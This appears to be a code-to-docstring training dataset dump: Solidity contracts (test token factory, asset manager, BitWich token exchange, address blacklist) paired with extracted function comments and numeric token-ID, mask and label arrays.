ERC20Detailed(name, symbol, decimals)
{}
}
pragma solidity 0.5.17;
import "./TestToken.sol";
contract TestTokenFactory {
mapping(bytes32 => address) public createdTokens;
event CreatedToken(string symbol, address addr);
function newToken(string memory name, string memory symbol, uint8 decimals) public returns(address) {
bytes32 symbolHash = keccak256(abi.encodePacked(symbol));
require(createdTokens[symbolHash] == address(0));
TestToken token = new TestToken(name, symbol, decimals);
token.addMinter(msg.sender);
token.renounceMinter();
createdTokens[symbolHash] = address(token);
emit CreatedToken(symbol, address(token));
return address(token);
}
function getToken(string memory symbol) public view returns(address) {
return createdTokens[keccak256(abi.encodePacked(symbol))];
}
}
pragma solidity 0.5.17;
contract TestUniswapOracle {
function update() external returns (bool success) {
return true;
}
function consult(address token, uint256 amountIn)
external
view
returns (uint256 amountOut)
{
return 3 * 10**5; // 1 PEAK = 0.30 USDC
}
}
|
calculate trade amounts and price
|
_actualDestAmount = getBalance(_destToken, address(this)).sub(beforeDestBalance);
| 15,851,495 |
[
1,
11162,
18542,
30980,
471,
6205,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
389,
18672,
9378,
6275,
273,
2882,
6112,
24899,
10488,
1345,
16,
1758,
12,
2211,
13,
2934,
1717,
12,
5771,
9378,
13937,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BSD-4-Clause
pragma solidity 0.8.3;
import "./IOddzAsset.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract OddzAssetManager is AccessControl, IOddzAsset {
// Asset
event NewAsset(bytes32 indexed _name, address indexed _address);
event AssetActivate(bytes32 indexed _name, address indexed _address);
event AssetDeactivate(bytes32 indexed _name, address indexed _address);
// Asset pair
event NewAssetPair(
address indexed _address,
bytes32 indexed _primary,
bytes32 indexed _strike,
uint256 _limit,
uint256 _maxDays,
uint256 _minDays
);
event AssetActivatePair(address indexed _address, bytes32 indexed _primary, bytes32 indexed _strike);
event AssetDeactivatePair(address indexed _address, bytes32 indexed _primary, bytes32 indexed _strike);
event SetPurchaseLimit(address indexed _address, bytes32 indexed _primary, bytes32 indexed _strike, uint256 _limit);
event AssetPairMaxPeriodUpdate(
address indexed _address,
bytes32 indexed _primary,
bytes32 indexed _strike,
uint256 _maxDays
);
event AssetPairMinPeriodUpdate(
address indexed _address,
bytes32 indexed _primary,
bytes32 indexed _strike,
uint256 _minDays
);
mapping(bytes32 => Asset) public assetNameMap;
mapping(address => AssetPair) public addressPairMap;
bytes32 public constant TIMELOCKER_ROLE = keccak256("TIMELOCKER_ROLE");
modifier onlyOwner(address _address) {
require(hasRole(DEFAULT_ADMIN_ROLE, _address), "caller has no access to the method");
_;
}
modifier onlyTimeLocker(address _address) {
require(hasRole(TIMELOCKER_ROLE, _address), "caller has no access to the method");
_;
}
modifier validAsset(bytes32 _asset) {
require(assetNameMap[_asset]._active == true, "Invalid Asset");
_;
}
modifier inactiveAsset(bytes32 _asset) {
require(assetNameMap[_asset]._active == false, "Asset is active");
_;
}
modifier validAssetPair(address _address) {
require(addressPairMap[_address]._active == true, "Invalid Asset pair");
_;
}
modifier inactiveAssetPair(address _address) {
require(addressPairMap[_address]._active == false, "Asset pair is active");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(TIMELOCKER_ROLE, msg.sender);
_setRoleAdmin(TIMELOCKER_ROLE, TIMELOCKER_ROLE);
}
function setTimeLocker(address _address) external {
require(_address != address(0), "Invalid timelocker address");
grantRole(TIMELOCKER_ROLE, _address);
}
function removeTimeLocker(address _address) external {
revokeRole(TIMELOCKER_ROLE, _address);
}
// Asset functions
function getAsset(bytes32 _asset) public view override returns (Asset memory asset) {
asset = assetNameMap[_asset];
}
function getPrecision(bytes32 _asset) public view override returns (uint8 precision) {
precision = getAsset(_asset)._precision;
}
function getAssetAddressByName(bytes32 _asset) public view override returns (address asset) {
require(_asset != "", "invalid asset name");
require(getAsset(_asset)._address != address(0), "Invalid asset address");
asset = getAsset(_asset)._address;
}
// Asset pair functions
function getPair(address _address) public view override returns (AssetPair memory pair) {
pair = addressPairMap[_address];
}
function getPrimaryFromPair(address _address) public view override returns (bytes32 primary) {
primary = getPair(_address)._primary;
}
function getStatusOfPair(address _address) public view override returns (bool status) {
status = getPair(_address)._active;
}
function getPurchaseLimit(address _address) public view override returns (uint256 limit) {
limit = getPair(_address)._limit;
}
function getMaxPeriod(address _address) public view override returns (uint256 maxPeriod) {
maxPeriod = getPair(_address)._maxDays;
}
function getMinPeriod(address _address) public view override returns (uint256 minPeriod) {
minPeriod = getPair(_address)._minDays;
}
function validMaxDays(uint256 _maxDays, uint256 _minDays) private pure {
require(_maxDays >= _minDays && _maxDays >= 1 days && _maxDays <= 365 days, "Invalid max days");
}
function validMinDays(uint256 _minDays, uint256 _maxDays) private pure {
require(_minDays >= 1 days && _minDays <= _maxDays, "Invalid min days");
}
/**
* @notice Add asset
* @param _name Symbol of the asset e.g. BTC, ETH
* @param _address Address of the asset
* @param _precision Percentage precision for the asset
*/
function addAsset(
bytes32 _name,
address _address,
uint8 _precision
) external onlyOwner(msg.sender) {
require(assetNameMap[_name]._name == "", "Asset already present");
require(_address != address(0), "invalid address");
Asset memory asset = Asset({ _name: _name, _address: _address, _active: true, _precision: _precision });
assetNameMap[_name] = asset;
emit NewAsset(asset._name, asset._address);
}
/**
* @notice Used for activating the asset
* @param _asset underlying asset
*/
function activateAsset(bytes32 _asset) external onlyOwner(msg.sender) inactiveAsset(_asset) {
Asset storage asset = assetNameMap[_asset];
asset._active = true;
emit AssetActivate(asset._name, asset._address);
}
/**
* @notice Used for deactivating the asset
* @param _asset underlying asset
*/
function deactivateAsset(bytes32 _asset) external onlyTimeLocker(msg.sender) validAsset(_asset) {
Asset storage asset = assetNameMap[_asset];
asset._active = false;
emit AssetDeactivate(asset._name, asset._address);
}
/**
* @notice Add trade asset pair
* @param _primary primary asset name
* @param _strike strike asset name
* @param _limit purchase limit for the pair
* @param _maxDays maximum option period
* @param _minDays minimum option period
*/
function addAssetPair(
bytes32 _primary,
bytes32 _strike,
uint256 _limit,
uint256 _maxDays,
uint256 _minDays
) external onlyOwner(msg.sender) validAsset(_primary) validAsset(_strike) {
address pair = address(uint160(uint256(keccak256(abi.encode(_primary, _strike)))));
require(addressPairMap[pair]._address == address(0), "Asset pair already present");
validMaxDays(_maxDays, _minDays);
validMinDays(_minDays, _maxDays);
AssetPair memory assetPair =
AssetPair({
_address: pair,
_primary: _primary,
_strike: _strike,
_limit: _limit,
_maxDays: _maxDays,
_minDays: _minDays,
_active: true
});
addressPairMap[pair] = assetPair;
emit NewAssetPair(
assetPair._address,
assetPair._primary,
assetPair._strike,
assetPair._limit,
assetPair._maxDays,
assetPair._minDays
);
}
/**
* @notice Activate an asset pair
* @param _address asset pair address
*/
function activateAssetPair(address _address) external onlyOwner(msg.sender) inactiveAssetPair(_address) {
AssetPair storage pair = addressPairMap[_address];
pair._active = true;
emit AssetActivatePair(pair._address, pair._primary, pair._strike);
}
/**
* @notice Deactivate an asset pair
* @param _address asset pair address
*/
function deactivateAssetPair(address _address) external onlyTimeLocker(msg.sender) validAssetPair(_address) {
AssetPair storage pair = addressPairMap[_address];
pair._active = false;
emit AssetDeactivatePair(pair._address, pair._primary, pair._strike);
}
/**
* @notice update max days for asset pair
* @param _address asset pair address
* @param _maxDays maximum option period
*/
function updateMaxPeriod(address _address, uint256 _maxDays)
external
onlyTimeLocker(msg.sender)
validAssetPair(_address)
{
AssetPair storage pair = addressPairMap[_address];
validMaxDays(_maxDays, pair._minDays);
pair._maxDays = _maxDays;
emit AssetPairMaxPeriodUpdate(pair._address, pair._primary, pair._strike, pair._maxDays);
}
/**
* @notice update min days for asset
* @param _address asset pair address
* @param _minDays minimum option period
*/
function updateMinPeriod(address _address, uint256 _minDays)
external
onlyTimeLocker(msg.sender)
validAssetPair(_address)
{
AssetPair storage pair = addressPairMap[_address];
validMinDays(_minDays, pair._maxDays);
pair._minDays = _minDays;
emit AssetPairMinPeriodUpdate(pair._address, pair._primary, pair._strike, pair._minDays);
}
/**
* @notice Set purchase limit
* @param _address asset pair address
* @param _limit purchase limit for the pair
*/
function setPurchaseLimit(address _address, uint256 _limit)
external
onlyTimeLocker(msg.sender)
validAssetPair(_address)
{
AssetPair storage pair = addressPairMap[_address];
pair._limit = _limit;
emit SetPurchaseLimit(pair._address, pair._primary, pair._strike, _limit);
}
}
|
* @notice update max days for asset pair @param _address asset pair address @param _maxDays maximum option period/
|
function updateMaxPeriod(address _address, uint256 _maxDays)
external
onlyTimeLocker(msg.sender)
validAssetPair(_address)
{
AssetPair storage pair = addressPairMap[_address];
validMaxDays(_maxDays, pair._minDays);
pair._maxDays = _maxDays;
emit AssetPairMaxPeriodUpdate(pair._address, pair._primary, pair._strike, pair._maxDays);
}
| 12,874,872 |
[
1,
2725,
943,
4681,
364,
3310,
3082,
225,
389,
2867,
3310,
3082,
1758,
225,
389,
1896,
9384,
4207,
1456,
3879,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
2747,
5027,
12,
2867,
389,
2867,
16,
2254,
5034,
389,
1896,
9384,
13,
203,
3639,
3903,
203,
3639,
1338,
950,
2531,
264,
12,
3576,
18,
15330,
13,
203,
3639,
923,
6672,
4154,
24899,
2867,
13,
203,
565,
288,
203,
3639,
10494,
4154,
2502,
3082,
273,
1758,
4154,
863,
63,
67,
2867,
15533,
203,
3639,
923,
2747,
9384,
24899,
1896,
9384,
16,
3082,
6315,
1154,
9384,
1769,
203,
3639,
3082,
6315,
1896,
9384,
273,
389,
1896,
9384,
31,
203,
203,
3639,
3626,
10494,
4154,
2747,
5027,
1891,
12,
6017,
6315,
2867,
16,
3082,
6315,
8258,
16,
3082,
6315,
701,
2547,
16,
3082,
6315,
1896,
9384,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x7328b31825ac9b46dff6bfc092391156cfb6e1f2
//Contract name: BitWichLoom
//Balance: 0.006057692307692308 Ether
//Verification Date: 5/25/2018
//Transacion Count: 5
// CODE STARTS HERE
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract NamedToken is ERC20 {
string public name;
string public symbol;
}
contract BitWich is Pausable {
using SafeMath for uint;
using SafeERC20 for ERC20;
event LogBought(address indexed buyer, uint buyCost, uint amount);
event LogSold(address indexed seller, uint sellValue, uint amount);
event LogPriceChanged(uint newBuyCost, uint newSellValue);
// ERC20 contract to operate over
ERC20 public erc20Contract;
// amount bought - amount sold = amount willing to buy from others
uint public netAmountBought;
// number of tokens that can be bought from contract per wei sent
uint public buyCost;
// number of tokens that can be sold to contract per wei received
uint public sellValue;
constructor(uint _buyCost,
uint _sellValue,
address _erc20ContractAddress) public {
require(_buyCost > 0);
require(_sellValue > 0);
buyCost = _buyCost;
sellValue = _sellValue;
erc20Contract = NamedToken(_erc20ContractAddress);
}
/* ACCESSORS */
function tokenName() external view returns (string) {
return NamedToken(erc20Contract).name();
}
function tokenSymbol() external view returns (string) {
return NamedToken(erc20Contract).symbol();
}
function amountForSale() external view returns (uint) {
return erc20Contract.balanceOf(address(this));
}
// Accessor for the cost in wei of buying a certain amount of tokens.
function getBuyCost(uint _amount) external view returns(uint) {
uint cost = _amount.div(buyCost);
if (_amount % buyCost != 0) {
cost = cost.add(1); // Handles truncating error for odd buyCosts
}
return cost;
}
// Accessor for the value in wei of selling a certain amount of tokens.
function getSellValue(uint _amount) external view returns(uint) {
return _amount.div(sellValue);
}
/* PUBLIC FUNCTIONS */
// Perform the buy of tokens for ETH and add to the net amount bought
function buy(uint _minAmountDesired) external payable whenNotPaused {
processBuy(msg.sender, _minAmountDesired);
}
// Perform the sell of tokens, send ETH to the seller, and reduce the net amount bought
// NOTE: seller must call ERC20.approve() first before calling this,
// unless they can use ERC20.approveAndCall() directly
function sell(uint _amount, uint _weiExpected) external whenNotPaused {
processSell(msg.sender, _amount, _weiExpected);
}
/* INTERNAL FUNCTIONS */
// NOTE: _minAmountDesired protects against cost increase between send time and process time
function processBuy(address _buyer, uint _minAmountDesired) internal {
uint amountPurchased = msg.value.mul(buyCost);
require(erc20Contract.balanceOf(address(this)) >= amountPurchased);
require(amountPurchased >= _minAmountDesired);
netAmountBought = netAmountBought.add(amountPurchased);
emit LogBought(_buyer, buyCost, amountPurchased);
erc20Contract.safeTransfer(_buyer, amountPurchased);
}
// NOTE: _weiExpected protects against a value decrease between send time and process time
function processSell(address _seller, uint _amount, uint _weiExpected) internal {
require(netAmountBought >= _amount);
require(erc20Contract.allowance(_seller, address(this)) >= _amount);
uint value = _amount.div(sellValue); // tokens divided by (tokens per wei) equals wei
require(value >= _weiExpected);
assert(address(this).balance >= value); // contract should always have enough wei
_amount = value.mul(sellValue); // in case of rounding down, reduce the _amount sold
netAmountBought = netAmountBought.sub(_amount);
emit LogSold(_seller, sellValue, _amount);
erc20Contract.safeTransferFrom(_seller, address(this), _amount);
_seller.transfer(value);
}
// NOTE: this should never return true unless this contract has a bug
function lacksFunds() external view returns(bool) {
return address(this).balance < getRequiredBalance(sellValue);
}
/* OWNER FUNCTIONS */
// Owner function to check how much extra ETH is available to cash out
function amountAvailableToCashout() external view onlyOwner returns (uint) {
return address(this).balance.sub(getRequiredBalance(sellValue));
}
// Owner function for cashing out extra ETH not needed for buying tokens
function cashout() external onlyOwner {
uint requiredBalance = getRequiredBalance(sellValue);
assert(address(this).balance >= requiredBalance);
owner.transfer(address(this).balance.sub(requiredBalance));
}
// Owner function for closing the paused contract and cashing out all tokens and ETH
function close() public onlyOwner whenPaused {
erc20Contract.transfer(owner, erc20Contract.balanceOf(address(this)));
selfdestruct(owner);
}
// Owner accessor to get how much ETH is needed to send
// in order to change sell price to proposed price
function extraBalanceNeeded(uint _proposedSellValue) external view onlyOwner returns (uint) {
uint requiredBalance = getRequiredBalance(_proposedSellValue);
return (requiredBalance > address(this).balance) ? requiredBalance.sub(address(this).balance) : 0;
}
// Owner function for adjusting prices (might need to add ETH if raising sell price)
function adjustPrices(uint _buyCost, uint _sellValue) external payable onlyOwner whenPaused {
buyCost = _buyCost == 0 ? buyCost : _buyCost;
sellValue = _sellValue == 0 ? sellValue : _sellValue;
uint requiredBalance = getRequiredBalance(sellValue);
require(msg.value.add(address(this).balance) >= requiredBalance);
emit LogPriceChanged(buyCost, sellValue);
}
function getRequiredBalance(uint _proposedSellValue) internal view returns (uint) {
return netAmountBought.div(_proposedSellValue).add(1);
}
// Owner can transfer out any accidentally sent ERC20 tokens
// excluding the token intended for this contract
function transferAnyERC20Token(address _address, uint _tokens) external onlyOwner {
require(_address != address(erc20Contract));
ERC20(_address).safeTransfer(owner, _tokens);
}
}
contract BitWichLoom is BitWich {
constructor()
BitWich(800, 1300, 0xA4e8C3Ec456107eA67d3075bF9e3DF3A75823DB0) public {
}
}
|
Perform the sell of tokens, send ETH to the seller, and reduce the net amount bought NOTE: seller must call ERC20.approve() first before calling this, unless they can use ERC20.approveAndCall() directly
|
function sell(uint _amount, uint _weiExpected) external whenNotPaused {
processSell(msg.sender, _amount, _weiExpected);
}
| 1,828,699 |
[
1,
4990,
326,
357,
80,
434,
2430,
16,
1366,
512,
2455,
358,
326,
29804,
16,
471,
5459,
326,
2901,
3844,
800,
9540,
5219,
30,
29804,
1297,
745,
4232,
39,
3462,
18,
12908,
537,
1435,
1122,
1865,
4440,
333,
16,
4202,
3308,
2898,
848,
999,
4232,
39,
3462,
18,
12908,
537,
1876,
1477,
1435,
5122,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
357,
80,
12,
11890,
389,
8949,
16,
2254,
389,
1814,
77,
6861,
13,
3903,
1347,
1248,
28590,
288,
203,
3639,
1207,
55,
1165,
12,
3576,
18,
15330,
16,
389,
8949,
16,
389,
1814,
77,
6861,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title Address Blacklist
* @author Clément Lesaege - <[email protected]>
*/
pragma solidity ^0.4.15;
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
import "./AddressWhitelist.sol";
/**
* @title Address Blacklist
* This is a Blacklist for addresses. The owner contract can Blacklist addresses.
*/
contract AddressBlacklist is AddressWhitelist {
/** @dev Return true if the address is allowed.
* @param _value The address we want to know if allowed.
* @return allowed True if the address is allowed, false otherwize.
*/
function isPermitted(address _value) public returns (bool allowed) {
return !super.isPermitted(_value);
}
}
|
* @dev Return true if the address is allowed. @param _value The address we want to know if allowed. @return allowed True if the address is allowed, false otherwize./
|
function isPermitted(address _value) public returns (bool allowed) {
return !super.isPermitted(_value);
}
| 15,866,299 |
[
1,
990,
638,
309,
326,
1758,
353,
2935,
18,
282,
389,
1132,
1021,
1758,
732,
2545,
358,
5055,
309,
2935,
18,
225,
327,
2935,
1053,
309,
326,
1758,
353,
2935,
16,
629,
1308,
91,
554,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
